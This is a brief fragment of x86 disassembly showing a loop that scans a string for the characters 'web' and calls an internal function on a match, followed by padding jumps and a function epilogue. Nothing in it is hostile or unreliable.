sub esp, 0x10
jmp 0x40794e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x77
jne 0x4078cf
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x65
jne 0x4078cf
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
cmp al, 0x62
jne 0x4078cf
call fcn.00407c26
jmp 0x40794e
inc dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
cmp eax, dword [ebp - 0x1c]
setge al
test al, al
jne 0x40458f
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
jmp 0x40794e
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret